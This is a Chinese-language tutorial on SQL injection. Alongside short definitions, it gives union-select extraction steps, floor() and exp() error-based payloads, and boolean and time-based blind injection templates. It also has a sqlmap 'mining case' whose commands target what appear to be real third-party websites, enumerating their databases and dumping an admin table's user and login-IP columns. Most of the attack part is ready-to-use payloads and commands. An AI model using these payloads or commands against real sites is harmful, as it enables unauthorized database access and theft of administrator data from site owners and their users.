基本原理

支持的数据库:MS-SQL\MYSQL\Oracle \PostgreSQL\Acces\DB2\SQLite\Firebird\Sybase\MaxDB

数据库:长期储存在计算机内的、有组织的、可共享的数据集合;

DBMS:一种操纵和管理数据库的大型软件,用于建立 、使用和维护数据库;

关系型数据库:是指采用了关系模型来组织数据的数据库,其以行和列的形式存储数据,以便于用户理解,关系型数据库这一系列的行和列被称为表,一组表组成了数据库;

非结构化数据库:是数据结构不规则或不完整,没有预定义的数据模型,不方便用数据库二维逻辑表来表现的数据。包括所有格式的办公文档、文本、图片、XML, HTML、各类报表、图像和音频/视频信息等;

SQL注入攻击

概念:动态页面有时会通过脚本引擎将用户输入的参数按照预先设定的规则构造成SQL语句来进行数据库操作,SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序 ,改变原有SQL语句的语义执行攻击。

判断存在SQL注入漏洞的方法:

方法一:在URL中 and 1=1 有返回内容,URL and 1=2 没有返回结果 ,则判定存在漏洞;

方法二:在URL中 and sleep(5) ,如果页面5秒后还回结果 ,则判定存在漏洞。

SQL注入的技术影响

1、数据泄漏、数据丢失、数据篡改

2、绕过认证、验证、绕过登录等功能

3、服务器进一步被入侵

4、数据、功能的操作

攻击场景

常见的sql注入技术(Web安全SQL注入技术)(1)

注入类型

1)可回显的注入

可以联合查询的注入

报错注入

通过注入进行DNS请求,从而达到可回显的目的

2)不可回显的注入

Bool盲注

时间盲注

3)二次注入

业务逻辑的题目,一般需要编写相应的程序实现;

执行步骤

1:猜测有多少个字段(判断字段多少列)

order by x

2:哪些字段回显在页面(寻找回显位)

union select 1,2...,x

3:爆出当前数据库/爆出所有数据库(在回显位中利用)

union select 1,2,3,database(),...x

union select 1,database(),group_concat(SCHEMA_NAME),4,5,6 from information_schema.schemata

4:爆出当前数据库的所有表

union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()

5:爆出每个表中有什么字段

union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=0x666c6167

6:知道表名字段名后,直接构造查询语句

union select 1,2,flag,4,5,6 from flag

SQL注入挖掘案例

步骤一:-u 判断注入点,判断注入点是否存在,数据库类型、系统类型

#:sqlmap -u http://www.cowinbio.com/cw/news/index.php?id=3

步骤二: --tables 猜解表名,大型数据库要先用--dbs 猜解数据库

#:sqlmap -u http://www.cowinbio.com/cw/news/index.php?id=3 --tables

步骤三:--columns 猜解字段名

#:sqlmap -u http://www.cowinbio.com/cw/news/index.php?id=3 --columns -T "cw_link"

常用命令

#:sqlmap -u url(如:http://www.ahgykg.com/qywhn_dispay.asp?id=10) --dbs --current-user //获取数据库类型

#:sqlmap -u url(如:http://www.ahgykg.com/qywhn_dispay.asp?id=10) --tables //获取表名

#:sqlmap -u url(如:http://www.ahgykg.com/qywhn_dispay.asp?id=10) -T 表名 -C 字段名1,字段名2... --dump //获取表内容

-----------------------------------------样例,执行效果-----------------------------------------------------------------------

#:sqlmap -u http://www.cowinbio.com/cw/news/index.php?id=3 --dbs --current-user

#:sqlmap -u http://www.cowinbio.com/cw/news/index.php?id=3 --dbms mysql -D konzern1 --tables

#:sqlmap -u http://www.cowinbio.com/cw/news/index.php?id=3 --dbms mysql -D konzern1 -T cw_admin --columns

#:sqlmap -u http://www.cowinbio.com/cw/news/index.php?id=3 --dbms mysql -D konzern1 -T cw_admin -C user,id,loginip,logintime,userclass --dump

---------------------------------------------------------------------------------------------------------------------------

报错注入

floor()函数

floor报错的原理是rand和order by 或group by的冲突;

爆破数据库版本信息:

?id = 1' and(select 1 from (select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a)#

爆破当前用户:

?id = 1 ' and(select 1 from (select count(*),concat((select (select (select concat(0x7e,user(),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆破当前使用的数据库:

?id = 1 ' and(select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆破当前指定表的字段(以emails为例,emails十六进制656d61696c73):

? id = 1 ' and(select 1 from (select count(*),concat((select (select (select concat(0x7e,column_name,0x7e) from information_schema.columns where table_name = 0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1) ,floor(rand(0)*2)) x from information_schema.tables group by x )a)#

exp()函数:

mysql>select exp(~(select * from (select user())x));

payload为:

?id=1 ' and exp(~(select * from (select user())x))#

盲注知识点

布尔盲注利用前提

页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入

缺点:速度太慢,消耗大量时间

布尔盲注常用语句:

substr(string,num start,num length)

string 为字符串

string 为字符串

length 为长度

布尔盲注过程代码模板:

(select count(schema_name) from information_schema.sc hemata)> n //n为数据库个数,当数据库个数大于n页面显示正常

(select length(schema_name) from information_schema.s chemata limit 0,1)> n //该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常

(select ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1), 1, 1)))>105 //ascii()将返回字符串的ascii值

第一个1,表示截取字符串的起始位置

第二个1,表示截取字符串长度

该语句作用:判断第一个库第一个字符是什么

ascii( )函数

作用:返回字符串str的字符ASCII码值。如果str是空字符串,返回0.如果string是 NULL,返回NULL。

时间盲注:

时间盲注利用前提条件:页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。

时间盲注过程:

if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数

if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)

if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符

版权说明:请尊重原创版权,版权归本人所有。

,